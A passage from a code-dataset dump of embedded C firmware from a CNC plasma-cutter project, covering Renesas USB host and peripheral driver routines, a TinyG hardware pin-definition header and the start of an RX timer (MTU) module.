)\n {\n#endif\n /* Receive message */\n err = USB_TRCV_MSG(USB_HCD_MBX, (USB_MSG_t**)&mess, (USB_TM_t)10000);\n if ( (err != USB_E_OK) && (err != USB_E_TMOUT))\n {\n#ifdef FREE_RTOS_PP\n continue;\n#else\n return;\n#endif\n }\n else\n {\n ptr = (USB_UTR_t *)mess;\n hp = (USB_HCDINFO_t*)mess;\n\n /* Peripheral Function */\n if (usb_cstd_is_host_mode(ptr) == USB_NO)\n {\n#ifdef FREE_RTOS_PP\n continue;\n#else\n return;\n#endif\n }\n\n rootport = ptr->keyword;\n pipenum = ptr->keyword;\n\n /* Branch Hcd Task receive Message Command */\n msginfo = ptr->msginfo;\n switch( msginfo)\n {\n case USB_MSG_HCD_INT:\n /* USB INT */\n usb_hstd_Interrupt(ptr);\n break;\n\n case USB_MSG_HCD_PCUTINT:\n /* Start Oscillation: Interrupt wakeup */\n usb_cstd_InterruptClock(ptr);\n ptr = (USB_UTR_t*)usb_shstd_HcdMsg;\n /* USB interrupt Handler */\n usb_hstd_InterruptHandler(ptr);\n /* USB INT */\n usb_hstd_Interrupt(ptr);\n ptr->msginfo = USB_MSG_HCD_INT;\n break;\n\n case USB_MSG_HCD_SUBMITUTR:\n /* USB Submit utr */\n usb_hstd_SetSubmitutr(ptr);\n break;\n\n case USB_MSG_HCD_ATTACH:\n /* Start Oscillation */\n usb_cstd_SelfClock(ptr);\n /* USB attach / detach */\n usb_hstd_AttachProcess(ptr, rootport);\n /* Callback */\n (hp->complete)(ptr, rootport, USB_MSG_HCD_ATTACH);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_ATTACH_MGR:\n /* Start Oscillation */\n usb_cstd_SelfClock(ptr);\n /* USB attach / detach */\n usb_hstd_AttachProcess(ptr, rootport);\n connect_inf = usb_cstd_PortSpeed(ptr, rootport);\n /* Callback */\n (hp->complete)(ptr, rootport, connect_inf);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_DETACH:\n /* Start Oscillation */\n usb_cstd_SelfClock(ptr);\n /* USB detach process */\n usb_hstd_DetachProcess(ptr, rootport);\n\n /* Callback */\n (hp->complete)(ptr, rootport, USB_MSG_HCD_DETACH);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_DETACH_MGR:\n usb_creg_clr_dvstctr( ptr, USB_PORT0, (USB_RWUPE | USB_USBRST | USB_RESUME | USB_UACT));\n\n usb_cpu_DelayXms(1);\n /* interrupt disable */\n usb_hstd_AttchDisable(ptr, rootport);\n usb_hstd_DtchDisable(ptr, rootport);\n usb_hstd_BchgDisable(ptr, rootport);\n (hp->complete)(ptr, rootport, USB_MSG_HCD_DETACH_MGR);\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_USBRESET:\n /* USB bus reset */\n usb_hstd_BusReset(ptr, rootport);\n /* Check current port speed */\n connect_inf = usb_cstd_PortSpeed(ptr, rootport);\n /* Callback */\n (hp->complete)(ptr, rootport, connect_inf);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_REMOTE:\n /* Suspend device */\n usb_ghstd_RemortPort[rootport] = USB_SUSPENDED;\n usb_hstd_Suspend(ptr, rootport);\n /* CallBack */\n (hp->complete)(ptr, rootport, USB_MSG_HCD_REMOTE);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_SUSPEND:\n /* Suspend device */\n usb_hstd_Suspend(ptr, rootport);\n (hp->complete)(ptr, rootport, USB_MSG_HCD_SUSPEND);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_RESUME:\n /* Start Oscillation */\n usb_cstd_SelfClock(ptr);\n /* USB resume */\n usb_hstd_ResumeProcess(ptr, rootport);\n /* Callback */\n (hp->complete)(ptr, rootport, USB_MSG_HCD_RESUME);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_VBON:\n /* Start Oscillation */\n usb_cstd_SelfClock(ptr);\n /* Interrupt Enable */\n usb_hstd_OvrcrEnable(ptr, rootport);\n /* USB VBUS control ON */\n usb_hstd_VbusControl(ptr, rootport, (uint16_t)USB_VBON);\n#ifndef USB_HOST_BC_ENABLE\n /* 100ms wait */\n usb_cpu_DelayXms((uint16_t)100u);\n#endif /* ! USB_HOST_BC_ENABLE */\n /* Callback */\n (hp->complete)(ptr, rootport, USB_MSG_HCD_VBON);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_VBOFF:\n /* Start Oscillation */\n usb_cstd_SelfClock(ptr);\n /* USB VBUS control OFF */\n usb_hstd_VbusControl(ptr, rootport, (uint16_t)USB_VBOFF);\n usb_hstd_OvrcrDisable(ptr, rootport);\n\n /* 100ms wait */\n usb_cpu_DelayXms((uint16_t)100u);\n /* Callback */\n (hp->complete)(ptr, rootport, USB_MSG_HCD_VBOFF);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_CLR_STALLBIT:\n /* STALL */\n usb_cstd_ClrStall(ptr, pipenum);\n /* Callback */\n (hp->complete)(ptr, (uint16_t)USB_NO_ARG, (uint16_t)USB_MSG_HCD_CLR_STALLBIT);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_SQTGLBIT:\n pipenum = ptr->keyword & USB_PIPENM;\n /* SQ toggle */\n usb_cstd_DoSqtgl(ptr, pipenum, ptr->keyword);\n /* Callback */\n (hp->complete)(ptr, (uint16_t)USB_NO_ARG, (uint16_t)USB_MSG_HCD_SQTGLBIT);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_CLR_STALL:\n usb_shstd_ClearStallCall = hp->complete;\n usb_shstd_ClearStallPipe = pipenum;\n err = usb_hstd_ClearStall(ptr, pipenum, (USB_CB_t)&usb_hstd_ClearStallResult);\n if( USB_E_QOVR == err )\n {\n USB_WAI_MSG( USB_HCD_MBX, ptr, 1000 ); /* Retry */\n }\n else\n {\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n }\n break;\n case USB_MSG_HCD_CLR_STALL_RESULT:\n ptr = (USB_UTR_t*)mess;\n retval = ptr -> status;\n \n if (retval == USB_DATA_TMO)\n {\n USB_PRINTF0(\"*** Standard Request Timeout error !\\n\");\n }\n else if (retval == USB_DATA_STALL)\n {\n USB_PRINTF0(\"*** Standard Request STALL !\\n\");\n }\n else if (retval != USB_CTRL_END)\n {\n USB_PRINTF0(\"*** Standard Request error !\\n\");\n }\n else\n {\n usb_cstd_ClrStall(ptr, usb_shstd_ClearStallPipe);\n usb_creg_set_sqclr(ptr, usb_shstd_ClearStallPipe); /* SQCLR */\n }\n (*usb_shstd_ClearStallCall)(ptr, retval, USB_MSG_HCD_CLR_STALL);\n \n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_CLRSEQBIT:\n /* SQCLR */\n usb_creg_set_sqclr(ptr, pipenum);\n /* Callback */\n (hp->complete)(ptr, (uint16_t)USB_NO_ARG, (uint16_t)USB_MSG_HCD_CLRSEQBIT);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_SETSEQBIT:\n /* SQSET */\n usb_creg_set_sqset(ptr, pipenum);\n /* Callback */\n (hp->complete)(ptr, (uint16_t)USB_NO_ARG, (uint16_t)USB_MSG_HCD_SETSEQBIT);\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_TRANSEND1:\n /* Pipe Transfer Process check */\n if (usb_gcstd_Pipe[ptr->ip][pipenum] != USB_NULL) \n {\n /* Control Transfer stop */\n if (pipenum == USB_PIPE0)\n {\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_TMO);\n }\n else\n {\n /* Transfer stop */\n usb_cstd_ForcedTermination(ptr, pipenum, (uint16_t)USB_DATA_TMO);\n }\n }\n else\n {\n USB_PRINTF1(\"### Host not transferd %d\\n\",pipenum);\n }\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n case USB_MSG_HCD_TRANSEND2:\n /* Pipe Transfer Process check */\n if (usb_gcstd_Pipe[ptr->ip][pipenum] != USB_NULL)\n {\n /* Control Transfer stop */\n if (pipenum == USB_PIPE0)\n {\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_STOP);\n }\n else\n {\n /* Transfer stop */\n usb_cstd_ForcedTermination(ptr, pipenum, (uint16_t)USB_DATA_STOP);\n }\n }\n else\n {\n USB_PRINTF1(\"### Host not transferd %d\\n\",pipenum);\n }\n /* Release Memory Block */\n usb_hstd_HcdRelMpl(ptr, msginfo);\n break;\n\n#ifdef USB_DTC_ENABLE\n case USB_MSG_HCD_D0FIFO_INT:\n usb_cstd_D0fifoInt(ptr);\n break;\n#endif /* USB_DTC_ENABLE */\n\n case USB_MSG_HCD_D1FIFO_INT:\n break;\n\n case USB_MSG_HCD_RESM_INT:\n break;\n\n default:\n break;\n }\n }\n#ifdef FREE_RTOS_PP\n\t}\n\n#endif\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n}/* eof usb_hstd_HcdTask() */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n\n" }, { "alpha_fraction": 0.45871424674987793, "alphanum_fraction": 0.47316426038742065, "avg_line_length": 42.75483703613281, "blob_id": "2516f1e00176ff2c3cc9d0f5232479636570156d", "content_id": "9ad3337d918676a887627a5f38933de36a733a42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6782, "license_type": "no_license", "max_line_length": 120, "num_lines": 155, "path": "/r_usb_basic/src/driver/peri/r_usb_pcontrolrw.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_pcontrolrw.c\n* Description : USB Peripheral control transfer API code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nRenesas Abstracted Peripheral Control RW API functions\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_ControlRead\nDescription : Called by R_usb_pstd_ControlRead, see it for description.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint32_t bsize : Read size in bytes.\n : uint8_t *table : Start address of read data buffer.\nReturn value : uint16_t : USB_WRITESHRT/USB_WRITE_END/USB_WRITING/\n : : USB_FIFOERROR.\n******************************************************************************/\nuint16_t usb_pstd_ControlRead(USB_UTR_t *ptr, uint32_t bsize, uint8_t *table)\n{\n uint16_t end_flag;\n\n usb_gcstd_DataCnt[ptr->ip][USB_PIPE0] = bsize;\n usb_gcstd_DataPtr[ptr->ip][USB_PIPE0] = table;\n\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, (uint16_t)USB_ISEL);\n \n /* Buffer clear */\n usb_creg_set_bclr( ptr, USB_CUSE );\n\n usb_creg_clr_sts_bemp( ptr, USB_PIPE0 );\n\n /* Peripheral Control sequence */\n end_flag = usb_cstd_write_data( ptr, USB_PIPE0, USB_CUSE );\n\n /* Peripheral control sequence */\n switch( end_flag )\n {\n /* End of data write */\n case USB_WRITESHRT:\n /* Enable not ready interrupt */\n usb_cstd_NrdyEnable(ptr, (uint16_t)USB_PIPE0);\n /* Set PID=BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n /* End of data write (not null) */\n case USB_WRITEEND:\n /* Continue */\n /* Continue of data write */\n case USB_WRITING:\n /* Enable empty interrupt */\n usb_creg_set_bempenb(ptr, (uint16_t)USB_PIPE0);\n /* Enable not ready interrupt */\n usb_cstd_NrdyEnable(ptr, (uint16_t)USB_PIPE0);\n /* Set PID=BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n /* FIFO access error */\n case USB_FIFOERROR:\n break;\n default:\n break;\n }\n /* End or error or continue */\n return (end_flag);\n}\n/******************************************************************************\nEnd of function usb_pstd_ControlRead\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_ControlEnd\nDescription : End control transfer\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t status : Transfer end status\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_ControlEnd(USB_UTR_t *ptr, uint16_t status)\n{\n /* Interrupt disable */\n /* BEMP0 disable */\n usb_creg_clr_bempenb(ptr, (uint16_t)USB_PIPE0);\n /* BRDY0 disable */\n usb_creg_clr_brdyenb(ptr, (uint16_t)USB_PIPE0);\n /* NRDY0 disable */\n usb_creg_clr_nrdyenb(ptr, (uint16_t)USB_PIPE0);\n\n if(ptr -> ip == USB_USBIP_0)\n {\n usb_creg_set_mbw( ptr, USB_CUSE, USB0_CFIFO_MBW );\n }\n else if (ptr -> ip == USB_USBIP_1)\n {\n usb_creg_set_mbw( ptr, USB_CUSE, USB1_CFIFO_MBW );\n }\n\n if( (status == USB_DATA_ERR) || (status == USB_DATA_OVR) )\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n else if( status == USB_DATA_STOP )\n {\n /* Pipe stop */\n usb_cstd_SetNak(ptr, (uint16_t)USB_PIPE0);\n }\n else\n {\n /* Set CCPL bit */\n usb_preg_set_ccpl( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_ControlEnd\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6501635313034058, "alphanum_fraction": 0.6733571290969849, "avg_line_length": 33.31632614135742, "blob_id": "7ecacaa15f518ce1cb33dc4b5bc8c1e9597a2722", "content_id": "1f8e0b09a4767e01c53a18dc7c4a35d596ba7d2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6726, "license_type": "no_license", "max_line_length": 108, "num_lines": 196, "path": "/src/cnc/hardware.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * hardware.h - system hardware configuration\n *\t\t\t\tTHIS FILE IS HARDWARE PLATFORM SPECIFIC - ARM version\n *\n * This file is part of the TinyG project\n *\n * Copyright (c) 2013 - 2014 Alden S. Hart, Jr.\n * Copyright (c) 2013 - 2014 Robert Giseburt\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/> .\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#ifndef HARDWARE_H_ONCE\n#define HARDWARE_H_ONCE\n\n/*--- Hardware platform enumerations ---*/\n\nenum hwPlatform {\n\tHM_PLATFORM_NONE = 0,\n\n\tHW_PLATFORM_TINYG_XMEGA,\t// TinyG code base on Xmega boards.\n\t\t\t\t\t\t\t\t//\thwVersion 7 = TinyG v7 and earlier\n\t\t\t\t\t\t\t\t//\thwVersion 8 = TinyG v8\n\n\tHW_PLATFORM_G2_DUE,\t\t\t// G2 code base on native Arduino Due\n\n\tHW_PLATFORM_TINYG_V9\t\t// G2 code base on v9 boards\n\t\t\t\t\t\t\t\t// hwVersion 0 = v9c\n\t\t\t\t\t\t\t\t// hwVersion 1 = v9d\n\t\t\t\t\t\t\t\t// hwVersion 2 = v9f\n\t\t\t\t\t\t\t\t// hwVersion 3 = v9h\n\t\t\t\t\t\t\t\t// hwVersion 4 = v9i\n};\n\n#define HW_VERSION_TINYGV6\t\t6\n#define HW_VERSION_TINYGV7\t\t7\n#define HW_VERSION_TINYGV8\t\t8\n\n#define HW_VERSION_TINYGV9C\t\t0\n#define HW_VERSION_TINYGV9D\t\t1\n#define HW_VERSION_TINYGV9F\t\t2\n#define HW_VERSION_TINYGV9H\t\t3\n#define HW_VERSION_TINYGV9I\t\t4\n#define HW_VERSION_TINYGV9K\t\t5\n\n////////////////////////////\n/////// RX VERSION ////////\n////////////////////////////\n\n// RX specific code start here\n#include \"config.h\"\t\t\t\t\t\t// needed for the stat_t typedef\n#include \"platform.h\"\n#include \"r_tmr_rx_if.h\"\n#include \"r_cmt_rx_if.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n/*************************\n * Global System Defines *\n *************************/\n\n#undef F_CPU\t\t\t\t\t\t\t// CPU clock - set for delays\n#define F_CPU 96000000UL\n#define MILLISECONDS_PER_TICK 1\t\t\t// MS for system tick (systick * N)\n#define SYS_ID_DIGITS 12 // actual digits in system ID (up to 16)\n#define SYS_ID_LEN 16\t\t\t\t\t// total length including dashes and NUL\n\n#define CMT_CH1 1\n\n/************************************************************************************\n **** R5F5631X SPECIFIC HARDWARE *************************************************\n ************************************************************************************/\n\n/**** Resource Assignment via Motate ****\n *\n * This section defines resource usage for pins, timers, PWM channels, communications\n * and other resources. Please refer to /motate/utility/SamPins.h, SamTimers.h and\n * other files for pinouts and other configuration details.\n *\n * Commenting out or #ifdef'ing out definitions below will cause the compiler to\n * drop references to these resources from the compiled code. This will reduce\n * compiled code size and runtime CPU cycles. E.g. if you are compiling for a 3 motor,\n * XYZ axis config commenting out the higher motors and axes here will remove them\n * from later code (using the motate .isNull() test).\n */\n\n/* Interrupt usage and priority\n *\n * The following interrupts are defined w/indicated priorities\n *\n *\t 0\tDDA_TIMER (3) for step pulse generation\n *\t 1\tDWELL_TIMER (4) for dwell timing\n *\t 2\tLOADER software generated interrupt (STIR / SGI)\n *\t 3\tSerial read character interrupt\n *\t 4\tEXEC software generated interrupt (STIR / SGI)\n *\t 5\tSerial write character interrupt\n */\n\n/**** Stepper DDA and dwell timer settings ****/\n\n#define FREQUENCY_DDA\t\t80000.0\t\t// Hz step frequency. Interrupts actually fire at 2x (400 KHz)\n#define FREQUENCY_DWELL\t\t10000.0\n#define FREQUENCY_SGI\t\t160000UL\t\t// 200,000 Hz means software interrupts will fire 5 uSec after being called\n\n/**** Motate Definitions ****/\n\n// Timer definitions. See stepper.h and other headers for setup\n\n#define TIMER_DDA\t\t\tTMR_CH0\t\t// DDA timer \t(see stepper.h)\n//#define TIMER_DWELL\t \t\tCMT_CH1\t\t// Dwell timer\t(see stepper.h)\n#define TIMER_LOAD\t\t\tTMR_CH1\t\t// Loader timer\t(see stepper.h)\n#define TIMER_EXEC\t\t\tTMR_CH2\t\t// Exec timer\t(see stepper.h)\n#define TIMER_PWM1\n#define TIMER_PWM2\n\n\n#define MOTOR2_STEP PORTE.PODR.BIT.B6\n#define MOTOR2_DIR PORTE.PODR.BIT.B7\n#define MOTOR1_STEP PORTE.PODR.BIT.B4\n#define MOTOR1_DIR PORTE.PODR.BIT.B5\n#define MOTOR3_STEP PORTA.PODR.BIT.B2\n#define MOTOR3_DIR PORTA.PODR.BIT.B3\n#define MOTOR4_STEP PORTA.PODR.BIT.B0\n#define MOTOR4_DIR PORTA.PODR.BIT.B1\n\n#define PWMCH \t\tPORT2.PODR.BIT.B2\n#define TORCH \t\tPORT2.PODR.BIT.B3\n#define MATERIAL \tPORT1.PIDR.BIT.B2\n#define ARCO_OK \tPORT2.PIDR.BIT.B1\n#define EMERGENCIA PORT2.PIDR.BIT.B0\n\n#define MOTOR_FOWARD\t1\n#define MOTOR_REVERSE 0\n#define TRUE\t\t\t0\n#define FALSE\t\t\t1\n// Input pins are defined in switch.cpp\nextern uint32_t timerDwell;\nextern uint32_t timerMotorPower;\n/********************************\n * Function Prototypes (Common) *\n ********************************/\n\nvoid hardware_init(void);\t\t\t// master hardware init\nvoid hw_hard_reset(void);\nstat_t hw_flash(nvObj_t *nv);\n\nstat_t hw_get_fbs(nvObj_t *nv);\nstat_t hw_set_hv(nvObj_t *nv);\nstat_t hw_get_id(nvObj_t *nv);\n\n#ifdef __TEXT_MODE\n\n\tvoid hw_print_fb(nvObj_t *nv);\n void hw_print_fbs(nvObj_t *nv);\n\tvoid hw_print_fv(nvObj_t *nv);\n\tvoid hw_print_cv(nvObj_t *nv);\n\tvoid hw_print_hp(nvObj_t *nv);\n\tvoid hw_print_hv(nvObj_t *nv);\n\tvoid hw_print_id(nvObj_t *nv);\n\n#else\n\n\t#define hw_print_fb tx_print_stub\n #define hw_print_fbs tx_print_stub\n\t#define hw_print_fv tx_print_stub\n\t#define hw_print_cv tx_print_stub\n\t#define hw_print_hp tx_print_stub\n\t#define hw_print_hv tx_print_stub\n\t#define hw_print_id tx_print_stub\n\n#endif // __TEXT_MODE\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\t// end of include guard: HARDWARE_H_ONCE\n" }, { "alpha_fraction": 0.4959106743335724, "alphanum_fraction": 0.5082101821899414, "avg_line_length": 37.45028305053711, "blob_id": "b65cff434e90ddda60cf9e61fd45bfbc6ecf2107", "content_id": "342587415a919422dedcdcca656c33e92c0de79b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 47563, "license_type": "no_license", "max_line_length": 126, "num_lines": 1237, "path": "/r_mtu_rx/src/r_mtu_rx_common.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_mtu_rx_common.c\n* Device(s) : RX Family\n* Tool-Chain : Renesas RX Standard Toolchain 1.02+\n* OS : None\n* H/W Platform :\n* Description : Shared routines used by the the FIT MTU2a modules on RX devices.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 30.09.2014 1.00 First Release\n***********************************************************************************************************************/\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n#include \"platform.h\"\n#include \"r_mtu_rx_if.h\"\n/* Internal definitions. */\n#include \"r_mtu_rx_private.h\"\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nPrivate global variables\n***********************************************************************************************************************/\n/* Possible input clock divisors for internal clocking. Not all channels support all divisors. */\nconst uint32_t g_mtu_clock_divisors[MTU_NUM_CLK_DIVISORS] = { 1, 4, 16, 64, 256, 1024 };\nvolatile uint8_t g_num_channels_in_use = 0; // Flag to tell whether any channel of the mtu is currently in use.\nuint8_t g_mtu_channel_mode[MTU_CHANNEL_MAX] = {MTU_MODE_CLOSED}; // Channel mode or is available (0).\nuint8_t g_mtu_channel_clr_src[MTU_CHANNEL_MAX] = {0}; // The selected timer clearing source.\nuint8_t g_mtu_channel_repeats[MTU_CHANNEL_MAX] = {0}; // Flags for do repeat or just once.\nuint8_t g_mtu_tgr_callbacks[MTU_CHANNEL_MAX][MTU_NUM_TIMERS]; // Flags for do callback or not\nuint8_t g_mtu_tgi_icu_en_flags[MTU_CHANNEL_MAX][MTU_NUM_TGIS] = {0};\nmtu_callback_data_t g_mtu_cb_data[MTU_CHANNEL_MAX]; // Allocate callback data storage for all channels.\n\n/* Create table of available internal clock divisors for each channel, and their setting bits. */\nconst uint8_t g_chnl_clk_divs[MTU_CHANNEL_MAX][MTU_NUM_CLK_DIVISORS] =\n{\n MTU0_PCLK_DIVS,\n MTU1_PCLK_DIVS,\n MTU2_PCLK_DIVS,\n#ifndef BSP_MCU_RX110\n MTU3_PCLK_DIVS,\n MTU4_PCLK_DIVS\n#endif\n};\n\n/* Create table of available external clock source for each channel, and their setting bits. */\nconst uint8_t g_chnl_ext_clks[MTU_CHANNEL_MAX][MTU_NUM_EXT_CLK_SRCS] =\n{\n MTU0_EXT_CLKS,\n MTU1_EXT_CLKS,\n MTU2_EXT_CLKS,\n#ifndef BSP_MCU_RX110\n MTU3_EXT_CLKS,\n MTU4_EXT_CLKS\n#endif\n};\n\n/* Create table of available counter clearing sources for each channel, and their setting bits. */\nconst uint8_t g_chnl_clear_src[MTU_CHANNEL_MAX][MTU_NUM_CLR_SRCS] =\n{\n MTU0_CLR_SRC,\n MTU1_CLR_SRC,\n MTU2_CLR_SRC,\n#ifndef BSP_MCU_RX110\n MTU3_CLR_SRC,\n MTU4_CLR_SRC\n#endif\n};\n\n/* Create table of TGI ICU interrupt enable bit masks for each channel. */\nconst uint8_t g_mtu_tgi_icu_en_masks[MTU_CHANNEL_MAX][MTU_NUM_TGIS] =\n{\n MTU0_TGI_EN,\n MTU1_TGI_EN,\n MTU2_TGI_EN,\n#ifndef BSP_MCU_RX110\n MTU3_TGI_EN,\n MTU4_TGI_EN\n#endif\n};\n\n/* Create table of channel start register bits for each channel. */\nconst uint8_t g_mtu_tstr_bits[] =\n{\n (uint8_t)MTU_TSTR_CH0,\n (uint8_t)MTU_TSTR_CH1,\n (uint8_t)MTU_TSTR_CH2,\n#ifndef BSP_MCU_RX110\n (uint8_t)MTU_TSTR_CH3,\n (uint8_t)MTU_TSTR_CH4\n#endif\n};\n\n/* Create table of channel start register bits for each channel. */\nconst uint8_t g_mtu_group_bits[] =\n{\n 